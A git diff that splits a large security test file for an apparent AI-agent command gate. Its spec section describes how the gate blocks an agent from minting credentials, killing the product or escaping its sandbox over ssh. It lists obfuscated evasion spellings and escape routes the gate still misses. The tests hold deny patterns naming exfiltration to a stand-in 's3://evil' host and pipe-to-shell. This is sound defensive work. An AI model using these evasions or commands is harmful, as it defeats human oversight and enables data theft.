diff --git a/.github/file-line-cap-baseline.txt b/.github/file-line-cap-baseline.txt index facec64e6aa..97a478eec7a 100644 --- a/.github/file-line-cap-baseline.txt +++ b/.github/file-line-cap-baseline.txt @@ -107,7 +107,6 @@ 3175 test/test_dashboard_approval.py 2718 test/test_dashboard_server_composition_contract.py 2478 test/test_dashboard_updates_coverage.py -11203 test/test_denied_commands_security.py 2765 test/test_fargate_launch_engine.py 4437 test/test_github_pull_request_monitor.py 5410 test/test_governance_distribution.py diff --git a/docs/system-specs/modules/security.md b/docs/system-specs/modules/security.md index 9c1c705b92f..19d65677634 100644 --- a/docs/system-specs/modules/security.md +++ b/docs/system-specs/modules/security.md @@ -1675,7 +1675,7 @@ continue to apply. - **Row-backed, UNION with the regex tier** (`_SELF_PROTECTION_FLOOR_RULE_IDS`: the credential mint, the self-kill, the dev-mode confirm flag, and `sandbox-escape-ssh-self` — an ssh/scp/sftp/rsync TARGET resolving to this same machine re-enters the host outside the sandbox, so the `_is_ssh_to_self` predicate resolves the operand-position target: options, redirects, `user@`/URI/IPv6/numeric-IP spellings, and this host's own names, the last resolved in a background thread so the gate never blocks on DNS). On Linux a non-own IP literal in host position is refused until the netlink `RTM_GETADDR` address table has published (`_NETLINK_ADDRS_PUBLISHED`), because it could be an unlisted secondary of this machine; the gateway warms that table at boot without blocking (`warm_own_host_names`, run through `asyncio.to_thread`). Hosts-file aliases are read into a table (`hosts_file.py`): a file up to 64 KiB is parsed in the same call on a miss, a larger one is parsed by a background warm when the check runs on an event loop, and in the same call (read up to `_HOSTS_FILE_READ_CAP`, exactly as the warm reads it) on a thread with no running loop (`atomic_write.on_event_loop`), such as a stdio MCP server or the cron fire-time vet, where a pending answer would not be retried; a failed read answers fail closed; on Windows a dotless name is refused while the hosts file is over 64 KiB, since its content cannot be verified. The refusal note names three labelled cases — **PENDING** (retry: classification is still running), **Still refused** (an unresolved name, an unreadable address list, or the target really is this machine), and **FORWARDED** port (a forwarded port on a loopback address is denied like the host). Enforced by **both** the row's `pattern` in the regex tier **and** the predicate, and the predicate runs only while the row is in the effective set, so an operator who disabled the row has disabled the floor with it. Neither half is sufficient alone, and the floor is deliberately **additive**, never a replacement. This gate is the **interim tier**, not closure of the escape: it sees only tool-routed command lines, so interpreter/script-file indirection (`bash escape.sh`, `python -c` + subprocess/paramiko) and non-ssh-family clients (`git clone ssh://localhost/…`, autossh) still reach the unsandboxed sshd — the sandbox has no network namespace, and the fix of record is an OS-level network fence there (issue #9806). - **Floor-only, UNGATED** (`_SELF_PROTECTION_UNGATED_FLOOR_IDS`: `self-protection-restart`, `self-protection-update`, `self-protection-gateway-restart`, `self-protection-cloud`). These four have **no catalog row**: their regex rows fired on the product's name appearing anywhere in a command and were deleted (see "Self-protection global options" above). With no row there is no toggle, so the predicates run unconditionally — like the git-publish anti-obfuscation branches — and a refusal's first line reports the id itself, with the structural note on the second line. The ids are deliberately not catalog ids, and the two sets are pinned disjoint: gating a predicate on a row lookup was how a deleted row became a silently disabled floor (`is_denied` used to `continue` past an id that resolved to no pattern), so a subcommand floor may never rejoin the gated set without its row. `_LEGACY_RULE_ID_BY_PATTERN` carries no alias for those rows for the same reason — a governance pin persisted in either spelling of those rows resolves to nothing, which is the truth: an always-on floor has nothing left to pin. The map aliases only a prior spelling of a row that still exists (the bare-substring spelling of `reverse-shell-nc`, whose row is anchored to the `nc` command token), so a ceiling written against the older catalog keeps pinning that row across the upgrade. - **Why the floor exists.** These rules must distinguish a dangerous *invocation* from an incidental *mention*, and raw-text matching cannot: the gap between the product name and the dangerous verb has to tolerate ordinary shell noise (a quoted verb `kirocrew "token"`, global flags, a redirection — bash accepts one anywhere in a simple command, so `kirocrew >/tmp/out token` is a mint), but any character class wide enough for that also spans a filesystem path, and a product-named worktree path (`…/kirocrew-wt-x/test_token_auth.py`) is the false positive the rules must not produce. Quoting cuts the other way too: `pkill -f '[;]*kirocrew'` is a working by-name kill whose quoted `;` textual splitting misreads as a command separator. The floor therefore tokenizes with `normalize_shell_command()` (resolving quoting, empty-string concatenation, `$HOME`/tilde) and matches on **argv**: lifecycle rules recognize both the console script and the documented `python -m kiro_crew` entrypoint, begin after the module operand, and compare the first non-flag CLI words exactly; a Python script, another module, or an ordinary command that merely contains `kiro_crew` remains a mention rather than an invocation. For the mint, a token whose whole *program name* is `kiro[-.]?crew` followed by a later token in the same argv that is exactly `token`; for the kill, `pkill`/`killall` with the name in any argument (unbounded — the target is a pattern, not a path), or a bare `kill` whose PID comes from a command-substitution **body** naming it (walked with paren nesting, so `$(pgrep …)`, `$(pidof …)`, a pidfile read and backticks are all covered without allowlisting a resolver binary). The bare-kill bodies are read through TWO windows with complementary blind spots — a token walk (whose depth counter mis-scores a `case` pattern's `)` as a closer, losing a lookup placed after `case … esac`) and a quote-aware raw-text window (which reaches that clause but sees the quotes) — so each raw body is searched raw, with parameter defaults resolved, and per WORD of its `_self_tokens` view (which folds continuations and swallows an untokenizable body instead of raising out of the gate), each word BARE and through `_resolved_word_view` (defaults resolved, empty substitutions collapsed, bracket classes removed — quote removal composes with the remaining transforms, and the bare member keeps a name a pattern-substitution expansion like `${PATH/usr/|'kiro''crew'|zz-}` would destroy); the per-word transform deliberately avoids `_normalize_operand` (the `pkill` leg keeps it only as one additive member and searches each argument through `_resolved_word_view` too, so `'zz|kiro'${x:-crew}` and `'zz|kiro'$()crew` — a pattern bash passes as `zz|kirocrew` — are denied there as well, issue #10284), because an operand view truncates at a de-quoted ERE pattern's own characters (`'zz|kiro'crew`) and would discard the protected alternative. Without the composed per-word leg an adjacent-quote concatenation of the name after `esac` (`kill $(case x in x) :;; esac; pgrep -f 'kiro''crew')`) — or the same splice composed with a `[c]` bracket class, an empty `$()`, or a `${x:-crew}` default — sat in the two windows' intersection and was allowed (issue #10205). - - **Why the regex stays.** A shell's `-c` argument is a *command*, so `bash -c "kirocrew token"` hands the tokenizer one opaque token. The floor closes that class by re-tokenizing literal `sh`/`bash`/`zsh` `-c` payloads and `eval` arguments and checking those argvs too (`_self_token_frames`, depth-capped), but a payload that is not literal (`eval "$CMD"`) has no visible script, and the tokenizer itself can fail (unbalanced quotes). Keeping both `pattern`s in `regex_patterns` means a tokenizer failure or an unseen payload **fails closed** on raw text rather than open. `test_denied_commands_security.py::TestSelfProtectionFloorIsAdditive` pins this: the patterns must stay in the effective set, each pattern must be a true **subset** of its predicate (so the posture-UI text cannot drift from enforcement), and a simulated tokenizer failure must still deny. + - **Why the regex stays.** A shell's `-c` argument is a *command*, so `bash -c "kirocrew token"` hands the tokenizer one opaque token. The floor closes that class by re-tokenizing literal `sh`/`bash`/`zsh` `-c` payloads and `eval` arguments and checking those argvs too (`_self_token_frames`, depth-capped), but a payload that is not literal (`eval "$CMD"`) has no visible script, and the tokenizer itself can fail (unbalanced quotes). Keeping both `pattern`s in `regex_patterns` means a tokenizer failure or an unseen payload **fails closed** on raw text rather than open. `test_denied_commands_security_rows.py::TestSelfProtectionFloorIsAdditive` pins this: the patterns must stay in the effective set, each pattern must be a true **subset** of its predicate (so the posture-UI text cannot drift from enforcement), and a simulated tokenizer failure must still deny. - **Inline interpreter programs are judged on what they NAME, not on whether they mention us.** `python -c` and the stdin forms (`python - <<'PY'`, `echo … | python -`, `python < file`) run arbitrary Python, so the `token` argv word cannot be the mint gate there (the payload can build the verb). The gate is `_inline_payload_reaches_cli`: the payload is a mint when it names the **mint surface** (`_MINT_SURFACE_RE`) — the CLI dispatch (`kiro_crew.cli`, `kiro_crew.__main__`, the console-script entry `kiro_crew._bootstrap`, `from kiro_crew import cli`), the module implementing the `token` subcommand (`kiro_crew.cli_server`, with its `cli_server_` owners, which hold that command and the stop, restart and update commands that read the local secret and print fresh token URLs), a product module whose path names a token producer (`kiro_crew.dashboard.token_auth`, `kiro_crew.instances.token_mint`, `kiro_crew.dashboard.token_secret`), as an import or as a file path — `secret` is not a path word, since `kiro_crew/dashboard/handlers/secrets.py` is an ordinary module a patch script names — a product import statement together with a **credential word**, `token` or `secret`, anywhere in the payload (`_PRODUCT_IMPORT_RE` + `_MINT_VERB_RE`: `from kiro_crew.slack.gateway import generate_token`, `import kiro_crew.slack.gateway as g; g.generate_token()`, and the second credential — `from kiro_crew.config.loader import read_local_secret` reads the internal secret `/api/token/local` accepts through product code, past the sensitive-path floor that fences `.local_secret` itself; every reader of it carries `secret`, as every producer carries `token`, and `test_the_credential_word_covers_every_local_secret_reader_in_the_tree` derives the reader set from every function that names the file), or the bare package name handed to a dynamic module runner (`_DYNAMIC_RUNNER_NAMES`: `runpy.run_module('kiro_crew', run_name='__main__')` is `python -m kiro_crew` spelled as a call, and `importlib.import_module('kiro_crew')` / `__import__('kiro_crew')` reach the same dispatch by attribute; the runner handed any OTHER name, `__import__('os').environ` next to a product import, is generic code), or the installed console script named as a program next to a code loader (`_INLINE_CODE_LOADER_NAMES` + `_CONSOLE_SCRIPT_LITERAL_RE`: `exec(open(shutil.which('kirocrew')).read())`, `exec(open('/venv/bin/kirocrew').read())` or `runpy.run_path(shutil.which('kirocrew'))` runs the entry point's `_bootstrap.main()` in-process against a `sys.argv` the payload chose; the loader on any other file, `exec(open('patch.py').read())`, is a patch-script idiom, and the program name in a `subprocess` argv is the interpreter-argv companion rule's sink). `test_the_mint_surface_covers_every_token_producer_in_the_tree` derives the producer set from the tree (the function that opens `token_signing.key`, then two import hops) and asserts each is a reach. Before matching, `_fold_inline_literals` joins `'a' + 'b'` literal runs and `_decoded_b64_literals` decodes every base64-shaped literal of the folded command **as submitted** (`is_denied` hands the mint predicate `raw_text=` for this: base64 does not survive the lower-casing the rest of the floor reads), so `__import__('kiro_crew.c'+'li')` and `os.system(b64decode('a2lyb2NyZXcgdG9rZW4='))` (`kirocrew token`) are read as what they hide. A payload that merely mentions the package (a `Path(...)` under `src/kiro_crew/` in a patch script), imports an unrelated product module (`from kiro_crew.acp import x`), or uses `getattr`/`eval`/`importlib` with no product name in reach is **not** a mint. The earlier reading — any `kiro_crew` mention, or any dynamic-exec primitive at all, denied the whole inline program as opaque — produced 143 of the audit log's 179 bash-gate denials over eight days with zero mints among them; the un-disableable guarantee for the credential was always the sensitive-path floor over the signing key, which this heuristic sits in front of. Pinned by `test_argv_floor_inline_and_brace_scope.py::TestInlinePayloadNamesTheMintSurface`. - **A glob in a token is what bash would make of it, and only in a position bash would run it.** `_glob_to_regex` mirrors brace expansion exactly: `{a,b}` is one word per alternative, `{c..c}` / `{a..z}` a sequence, and a brace group with no top-level comma and no `..` (`{state}`, `{print $1}`, `{directory}`) is **left literal**, braces included — it used to read as `.*`, so every quoted jq filter or awk program was a word that "could expand to `pkill`", and a product-named path later in the same argv denied the command. Nesting is capped at `_BRACE_NESTING_CAP` (past it a group reads as `.*`, the fail-closed direction), and brace pairs are resolved once per word in one linear pass (`_brace_pairs`), so a word of thousands of unbalanced braces is judged in linear time rather than the quadratic per-brace scan that stalled the synchronous gate long enough for the loop watchdog to hard-exit the gateway. The regex the translation produces is bounded too: a word spends at most `_BRACE_GROUP_BUDGET` alternation groups (past it a group is `.*`), identical alternatives (`{*,*}`) collapse to one branch before the budget is charged, and consecutive `.*` pieces collapse to one — so `{*,*}{*,*}…` or `{*,**}{*,**}…` fifteen deep, which as a naive regex has 2^15 ways to fail a five-letter name and takes seconds per protected name, answers in milliseconds. Only glob and brace syntax is read; a **command substitution** (`$(...)`, a backtick) is literal text to this reader: what it prints is outside a static floor -- exactly as at program position, where `$(printf pk)ill -f ` is the documented residual -- and its BODY is judged on its own by the payload walk, which descends into every substitution wherever it sits (`tar czf x_$(pkill -f kirocrew).tgz` is denied for the body). Reading the substitution as `.*` instead made every host-stamped filename (`logs_$(hostname)_*.tar.gz` under `tar`, `zip`, `gh`, `install`, `Copy-Item`) and every brace group with a substituted alternative (`mv {$(date +%F),current}.log `, `rsync -a {$(date +%F),default}.conf `) a word that "could be `pkill`" whenever a product-named path followed -- three rounds of scope-review regressions, no kill among them. Parameter expansion (`${X}`, `$X`) stays literal, as it already is at program position (`$X -f ` is a residual outside this floor): reading it as anything turned every awk field list (`{print $6,$7}`) and every prose heredoc naming `${name}` into a possible verb. Two argv facts complete it: a filesystem inspector (`ls`, `stat`, `file`, `du`, `readlink`, `realpath`, `dirname`, `basename`) and a filesystem mover (`cp`, `mv`, `ln`, `rm`, `mkdir`, `rmdir`, `touch`, `chmod`, `chown`; `tar` deliberately not, its `-I` runs a program) are `_DATA_CONSUMER_PROGRAMS` entries, so a glob among their arguments (`ls -d dir/*`, `cp $dir/*`) is a filename, not a program; and `_data_consumer_exempt` keeps that exemption for an argument glued to a TRAILING operator (`cp $dir/*;`), because the operator starts no program inside the token, while it still refuses one with a program after the operator (`echo x;kirocrew`) and one that OPENS with a command substitution (`ls $(kirocrew update)`, `cat `kirocrew token``: the word's basename reading is the body's program, which runs). A substitution LATER in the word (`cp report_$(hostname)_*.log `) or inside a brace group (`mv {$(date +%F),current}.log `) keeps the exemption: the word is a filename around a body, and the body is judged on its own by the payload walk (`echo foo_$(pkill -f kirocrew)` and `ls {$(pkill -f kirocrew),y}` are denied for the body). The exemption is gated on the program being a data consumer on purpose: the tokens it reads have had their quotes removed, so a trailing operator at PROGRAM position (`'/tmp/kirocrew;' token`, a symlink literally named with the semicolon) is never read as an argv boundary — the verb after it is still scanned and the mint denied; `x;pkill -f kirocrew` still runs `pkill` and is still denied. 13 denials in the same eight days came from the old reading, 8 of them on commands containing no `kill` at all. The exemption is withdrawn for a whole command when any word can make a consumer run text (`_SCRIPT_EXECUTES_RE`: awk's `system()` and pipe-to-command, sed's `e` command as a script word such as `e`, `p;e`, `--expression=e`, or a custom-delimiter address `\-.-e` whose terminal `e` runs); the bare `-e`/`-E` option is not that word, since its `-` sits at the token start and no consumer runs it. Reading it as one withdrew the exemption for every `grep -E`, `sed -E`, `echo -e` and `cat -E`, so `grep -c -E "$C"/transcripts/* "$C"/gateway/*` over a product-named `$C` was a self-kill. A wildcard word in a position that runs it (`* -f `, `sudo * -f `) is still read as a possible `pkill`. Pinned by `TestBraceExpansionMirrorsBash`, `TestAGlobArgumentIsNotAKillProgram` and `TestAnOptionDashEIsNotSedsExecuteCommand` in the same file. - **Platform note.** `normalize_shell_command()` expands `$HOME` via `re.sub` with a **callable** replacement, not a string. A str replacement is parsed as a template, and on Windows the home path (`C:\Users\…`) contains `\U` — an invalid escape — so a string replacement raised `re.error` for *every* input on that platform, silently emptying the token list and disabling both this floor and the git-publish normalizer second-pass. diff --git a/src/kiro_crew/builtin_skills/security-conductor/golden-paths.json b/src/kiro_crew/builtin_skills/security-conductor/golden-paths.json index 55f16c9a150..68c31d44dfe 100644 --- a/src/kiro_crew/builtin_skills/security-conductor/golden-paths.json +++ b/src/kiro_crew/builtin_skills/security-conductor/golden-paths.json @@ -497,6 +497,41 @@ "command_or_flow": "test/test_denied_commands_security_hosts_file.py", "platform": "any", "reason": "The deny fence's own assertions, as a behaviour row rather than a classification: the shell rows of this corpus each ask 'is this one command still permitted', and this file asks the complementary question -- that the real refusals still fire and the documented permits still pass. A fix that widened a rule until every golden path happened to survive would still trip it, which is the failure mode a per-command corpus cannot see. (part of the split test_denied_commands_security.py)" + }, + { + "kind": "test", + "surface": "S1 bash classifier fence", + "command_or_flow": "test/test_denied_commands_security_rows.py", + "platform": "any", + "reason": "The deny fence's own assertions, as a behaviour row rather than a classification: the shell rows of this corpus each ask 'is this one command still permitted', and this file asks the complementary question -- that the real refusals still fire and the documented permits still pass. A fix that widened a rule until every golden path happened to survive would still trip it, which is the failure mode a per-command corpus cannot see. (part of the split test_denied_commands_security.py)" + }, + { + "kind": "test", + "surface": "S1 bash classifier fence", + "command_or_flow": "test/test_denied_commands_security_mentions.py", + "platform": "any", + "reason": "The deny fence's own assertions, as a behaviour row rather than a classification: the shell rows of this corpus each ask 'is this one command still permitted', and this file asks the complementary question -- that the real refusals still fire and the documented permits still pass. A fix that widened a rule until every golden path happened to survive would still trip it, which is the failure mode a per-command corpus cannot see. (part of the split test_denied_commands_security.py)" + }, + { + "kind": "test", + "surface": "S1 bash classifier fence", + "command_or_flow": "test/test_denied_commands_security_kill.py", + "platform": "any", + "reason": "The deny fence's own assertions, as a behaviour row rather than a classification: the shell rows of this corpus each ask 'is this one command still permitted', and this file asks the complementary question -- that the real refusals still fire and the documented permits still pass. A fix that widened a rule until every golden path happened to survive would still trip it, which is the failure mode a per-command corpus cannot see. (part of the split test_denied_commands_security.py)" + }, + { + "kind": "test", + "surface": "S1 bash classifier fence", + "command_or_flow": "test/test_denied_commands_security_mint.py", + "platform": "any", + "reason": "The deny fence's own assertions, as a behaviour row rather than a classification: the shell rows of this corpus each ask 'is this one command still permitted', and this file asks the complementary question -- that the real refusals still fire and the documented permits still pass. A fix that widened a rule until every golden path happened to survive would still trip it, which is the failure mode a per-command corpus cannot see. (part of the split test_denied_commands_security.py)" + }, + { + "kind": "test", + "surface": "S1 bash classifier fence", + "command_or_flow": "test/test_denied_commands_security_stdin.py", + "platform": "any", + "reason": "The deny fence's own assertions, as a behaviour row rather than a classification: the shell rows of this corpus each ask 'is this one command still permitted', and this file asks the complementary question -- that the real refusals still fire and the documented permits still pass. A fix that widened a rule until every golden path happened to survive would still trip it, which is the failure mode a per-command corpus cannot see. (part of the split test_denied_commands_security.py)" } ] } diff --git a/test/test_denied_commands_security.py b/test/test_denied_commands_security.py index 7e115b9e5dc..b7430e065ca 100644 --- a/test/test_denied_commands_security.py +++ b/test/test_denied_commands_security.py @@ -20,36 +20,16 @@ import pytest from denied_commands_security_helpers import _own_address_probe_stays_local # noqa: F401 -from denied_commands_security_helpers import ( - _HYPH, - _K, - _KA, - _NAME, - _PK, - _RULE_KILL, - _RULE_MINT, - _TOK, - Q, - _denied_by, - _rule_pattern, -) +from denied_commands_security_helpers import _NAME, _PK, _RULE_KILL, _denied_by from kiro_crew import security from kiro_crew.security import ( - _GIT_PUBLISH_RULE_PATTERNS, BUILTIN_DENIED_RULES, BUILTIN_DENY_PATTERNS, DeniedCommandRule, -) -from kiro_crew.security import argv_floor as _argv_floor -from kiro_crew.security import ( builtin_denied_rules, compute_effective_denied, is_denied, - is_safe_user_regex, -) -from kiro_crew.security import perm_verb_mention as _perm_verb_mention -from kiro_crew.security import ( pinned_builtin_command_ids, ) @@ -1578,4972 +1558,3 @@ def test_coverage_preserved_for_representative_allows(self): "echo hello", ): assert is_denied(cmd) is None, cmd - - -class TestUserRegexReDoSGate: - """A USER-supplied deny regex is arbitrary; a catastrophic-backtracking - pattern (``(a+)+$`` …) would freeze the synchronous PreToolUse gate on the - event loop. ``is_safe_user_regex`` rejects such patterns at the add - boundary, and ``_DenyMatcher`` refuses to run an already-stored unsafe - pattern (defense-in-depth). Built-ins are ReDoS-safe by construction and - are unaffected by this gate. - """ - - # Load-tolerant ceiling (see TestIsDeniedReDoSResistance): only has to - # separate linear from catastrophic (seconds-to-minutes), not assert a - # sub-100ms wall clock on a shared, parallel CI runner. - _BUDGET_SECONDS = 5.0 - - _CATASTROPHIC = ( - "(a+)+$", - "(x+x+)+y", - "(.*a){20}", - "(a|a)*$", - "(a*)*", - "(a+)*", - "([a-z]+)+", - r"(\w+\s*)+", - "(a?)*a{20}", - "(ab|a)+$", - "((a)*)*", - "(.+)+z", - r"(\d+)+", - ) - - _BENIGN = ( - "rm -rf /tmp/mine", - "aws s3 cp .* s3://evil", - "get_secret", - ".*password.*", - r"curl .* \| bash", - "delete-stack", - "(abc)+", - "a+b+c+", - r"[a-z]+\.txt", - r"\d{3}-\d{4}", - r"(?:aws|gcloud) .*delete", - "(cat|dog)food", - ) - - def test_is_safe_user_regex_rejects_catastrophic(self): - for pat in self._CATASTROPHIC: - assert not is_safe_user_regex(pat), pat - - def test_wrapped_builtin_flag_run_gets_no_user_regex_exemption(self): - """A USER regex embedding a built-in flag-run fragment verbatim must not - inherit the built-in scrub: wrapping the fragment in an outer quantifier - nests its ``*`` and backtracks catastrophically. Only a COMPLETE - built-in pattern is exempt.""" - from kiro_crew.security import ( - _DANGEROUS_AWS_FLAG_RUN, - _LINEARIZED_AWS_FLAG_RUN, - ) - - for fragment in (_DANGEROUS_AWS_FLAG_RUN, _LINEARIZED_AWS_FLAG_RUN): - assert not is_safe_user_regex("(?:" + fragment + ")+Z") - - def test_is_safe_user_regex_rejects_malformed(self): - assert not is_safe_user_regex("(unclosed") - assert not is_safe_user_regex("[a-") - - def test_is_safe_user_regex_rejects_top_level_alternation(self): - # A top-level alternation can't be fragment-matched full-length and would - # fall back to a length-bounded scan, so a padded command could slip a - # needle past the bound. Reject it at add-time (no built-in has one; a - # user can split it into separate rules). - assert not is_safe_user_regex("dangerous-tool|other-tool") - assert not is_safe_user_regex("rm -rf /|dd if=") - # A nested (grouped) alternation is fine — it isn't top-level. - assert is_safe_user_regex("aws (ec2|s3) delete") - - def test_is_safe_user_regex_accepts_benign(self): - for pat in self._BENIGN: - assert is_safe_user_regex(pat), pat - - def test_every_builtin_reaching_the_regex_tier_is_safe(self): - # Every built-in that actually reaches ``_DenyMatcher`` must pass the - # gate. The 7 git-publish patterns are the sole exception: they are - # filtered OUT of the regex tier (``_GIT_PUBLISH_RULE_PATTERNS``) and - # enforced by the always-on verb-anchored ``_is_git_publish`` floor, so - # their nested quantified-group-with-alternation shape (structurally - # ReDoS-prone under naive ``re`` — exactly why they are excluded) never - # runs through the matcher. - for rule in BUILTIN_DENIED_RULES: - if rule.pattern in _GIT_PUBLISH_RULE_PATTERNS: - continue - assert is_safe_user_regex(rule.pattern), rule.id - - def test_all_builtins_matchable_without_hanging(self): - # End-to-end: building + running every built-in matcher on a hostile - # 20k input must stay fast (the git-publish patterns are filtered by - # is_denied, the rest are linear). - hostile = "aws " + ("-x " * 5000) + "delete-" - start = time.perf_counter() - is_denied(hostile) - assert time.perf_counter() - start < self._BUDGET_SECONDS - - def test_catastrophic_user_regex_does_not_freeze_is_denied(self): - # REQUIREMENT: a stored catastrophic pattern must be skipped, not run — - # is_denied on a long adversarial input stays far under the budget. - hostile = "a" * 2000 + "!" - for pat in self._CATASTROPHIC: - start = time.perf_counter() - result = is_denied(hostile, denied_regexes=[pat]) - elapsed = time.perf_counter() - start - assert elapsed < self._BUDGET_SECONDS, f"{pat}: {elapsed:.3f}s" - # Disabled (skipped) — it must not match. - assert result is None, pat - - def test_catastrophic_pattern_among_builtins_stays_fast_and_covers(self): - # Defense-in-depth: a catastrophic user pattern stored ALONGSIDE the - # built-ins is skipped (no freeze) while the built-ins still enforce. - regexes = ["(a+)+$", *[r.pattern for r in BUILTIN_DENIED_RULES]] - start = time.perf_counter() - benign = is_denied("a" * 3000 + "!", denied_regexes=regexes) - assert time.perf_counter() - start < self._BUDGET_SECONDS - assert benign is None - # A real destructive command is still denied despite the stored junk. - assert ( - is_denied("aws ec2 terminate-instances --instance-ids i-1", denied_regexes=regexes) - is not None - ) - - def test_benign_user_regex_still_enforced(self): - # A safe user pattern must still be accepted AND enforced end-to-end. - assert is_safe_user_regex("rm -rf /tmp/mine") - assert is_denied("rm -rf /tmp/mine now", denied_regexes=["rm -rf /tmp/mine"]) is not None - assert ( - is_denied("aws s3 cp x s3://evil", denied_regexes=[r"aws s3 cp .* s3://evil"]) - is not None - ) - - -class TestDeniedReasonNotes: - """``reason_notes`` decorates a refusal; it can never change the verdict. - - The note lands on a SECOND line because the first line is a machine-parsed - contract on both sides: ``RecoveryCard.tsx`` extracts the pattern with a - per-line, end-anchored regex, and the shared ``_denied_by`` helper partitions on the - exact ``"Blocked by security policy: "`` separator. Anything appended to the - same line would be captured as part of the pattern. - """ - - _USER_PATTERN = r"frobnicate.*" - _CMD = "frobnicate the box" - _NOTE = "use --dry-run instead" - - def _plain(self): - return is_denied(self._CMD, denied_regexes=[self._USER_PATTERN]) - - def _annotated(self, note=None): - return is_denied( - self._CMD, - denied_regexes=[self._USER_PATTERN], - reason_notes={self._USER_PATTERN: self._NOTE if note is None else note}, - ) - - def test_first_line_is_byte_identical_to_the_unannotated_form(self): - plain = self._plain() - annotated = self._annotated() - assert plain == f"Blocked by security policy: {self._USER_PATTERN}" - assert annotated.splitlines()[0] == plain - assert annotated == f"{plain}\n{self._NOTE}" - assert annotated.count("\n") == 1 # exactly two lines, no trailing newline - - def test_reason_notes_none_reproduces_todays_exact_string(self): - assert ( - is_denied(self._CMD, denied_regexes=[self._USER_PATTERN], reason_notes=None) - == self._plain() - ) - - def test_empty_map_reproduces_todays_exact_string(self): - assert ( - is_denied(self._CMD, denied_regexes=[self._USER_PATTERN], reason_notes={}) - == self._plain() - ) - - def test_pattern_with_no_note_of_its_own_is_unchanged(self): - # A note for a DIFFERENT pattern must not leak onto this refusal — the - # lookup is keyed, not "any note in the map". - assert ( - is_denied( - self._CMD, - denied_regexes=[self._USER_PATTERN], - reason_notes={"some-other-pattern": "unrelated"}, - ) - == self._plain() - ) - - @pytest.mark.parametrize("blank", ["", " ", "\t", "\n"]) - def test_blank_note_adds_no_second_line(self, blank): - # ``_reason`` strips before deciding, so a blank note cannot append an - # empty line the reader would have to skip. - assert self._annotated(blank) == self._plain() - - def test_note_never_changes_whether_something_matches(self): - # Denied stays denied; allowed stays allowed. A note is presentation - # only, so it can neither create nor suppress a match. - assert self._annotated() is not None - allowed = is_denied( - "echo hello", - denied_regexes=[self._USER_PATTERN], - reason_notes={self._USER_PATTERN: self._NOTE, "echo.*": "would match if notes matched"}, - ) - assert allowed is None - # And a note attached to a pattern that is NOT in the effective set - # cannot re-admit that pattern as a rule. - assert ( - is_denied("echo hello", denied_regexes=[], reason_notes={"echo.*": "not a rule"}) - is None - ) - - def test_note_does_not_change_which_pattern_matched(self): - # Two rules, note on the one that does NOT match: the reported pattern is - # still the matching one, un-annotated. - reason = is_denied( - self._CMD, - denied_regexes=["never-matches-this", self._USER_PATTERN], - reason_notes={"never-matches-this": "wrong rule"}, - ) - assert reason == self._plain() - - def test_denied_by_resolves_the_rule_id_with_a_note_present(self): - # THE regression guard for ``_denied_by``: a note appended to the matched - # rule's refusal must not break rule-id resolution. Naively partitioning - # the WHOLE verdict yields "\n", which is in no lookup - # table, so every id-based assertion of the suite would silently degrade - # to "". Parsing the first line keeps the id recoverable. - cmd = "aws ec2 terminate-instances --instance-ids i-1" - expected_id = _denied_by(cmd) - assert expected_id == "aws-destructive-ec2-terminate-instances" - pattern = _rule_pattern(expected_id) - annotated = {pattern: "open a ticket first"} - # Same id, even though the refusal now carries a second line. - assert _denied_by(cmd, annotated) == expected_id - verdict = is_denied(cmd, reason_notes=annotated) - assert verdict.splitlines() == [ - f"Blocked by security policy: {pattern}", - "open a ticket first", - ] - # A note on an unrelated pattern leaves the id resolution untouched too. - assert _denied_by(cmd, {"unrelated-pattern": "ignore me"}) == expected_id - - def test_builtin_refusals_are_single_line_by_default(self): - # Nothing annotates built-ins unless a caller passes a map, so the - # historical single-line shape is preserved for the whole catalog path. - assert "\n" not in is_denied("aws ec2 terminate-instances --instance-ids i-1") - - -class TestBuiltinRuleMatcherShape: - """Every built-in that REACHES the regex tier must actually run. - - ``_DenyMatcher`` disables any pattern ``is_safe_user_regex`` rejects, which - includes a TOP-LEVEL alternation (``a|b``). A rule authored that way still - appears in the catalog and still shows in the posture UI, but matches - nothing — a self-protection rule would look present while enforcing - zero. These assertions make that failure mode loud instead of silent. - - The ``git-publish`` patterns are excluded because they are *intentionally* - never fed to Python ``re``: ``is_denied`` filters them out - (``_GIT_PUBLISH_RULE_PATTERNS``) and the always-on verb-anchored - ``_is_git_publish`` floor enforces that category instead. The exclusion is - derived from the live frozenset, not a hardcoded id list, so this test - tracks that design rather than pinning a snapshot of it. - """ - - @staticmethod - def _regex_tier_rules(): - return [r for r in BUILTIN_DENIED_RULES if r.pattern not in _GIT_PUBLISH_RULE_PATTERNS] - - def test_every_regex_tier_pattern_is_accepted_by_the_safety_gate(self): - unsafe = [r.id for r in self._regex_tier_rules() if not is_safe_user_regex(r.pattern)] - assert unsafe == [], f"these built-ins would be DISABLED at runtime: {unsafe}" - - def test_no_regex_tier_matcher_is_disabled(self): - from kiro_crew.security import _deny_matcher - - disabled = [r.id for r in self._regex_tier_rules() if _deny_matcher(r.pattern)._disabled] - assert disabled == [], f"these built-ins match nothing: {disabled}" - - def test_narrowed_rules_use_the_full_input_matcher(self): - # Both rules were narrowed away from ``.*``-gapped co-occurrence, so each - # reduces to a single fragment matched with exact ``re.search`` over the - # WHOLE command — not the length-capped bounded scan. - from kiro_crew.security import _deny_matcher - - for rule_id in (_RULE_KILL, _RULE_MINT): - matcher = _deny_matcher(_rule_pattern(rule_id)) - assert not matcher._bounded, rule_id - assert len(matcher._frag_res) == 1, rule_id - - -class TestSelfProtectionFloorIsAdditive: - """The floor must be a UNION with the regex tier, never a replacement. - - Two independent failure modes are guarded here, both of which produce the - same outcome -- a self-protection rule that reports as present while - enforcing nothing: - - * **Fail-open on tokenizer failure.** The floor tokenizes with ``shlex``, - which can raise (unbalanced quotes, or a platform bug). If the floor had - REPLACED the regex, that exception would allow the command. - * **Nested shell payloads.** ``bash -c "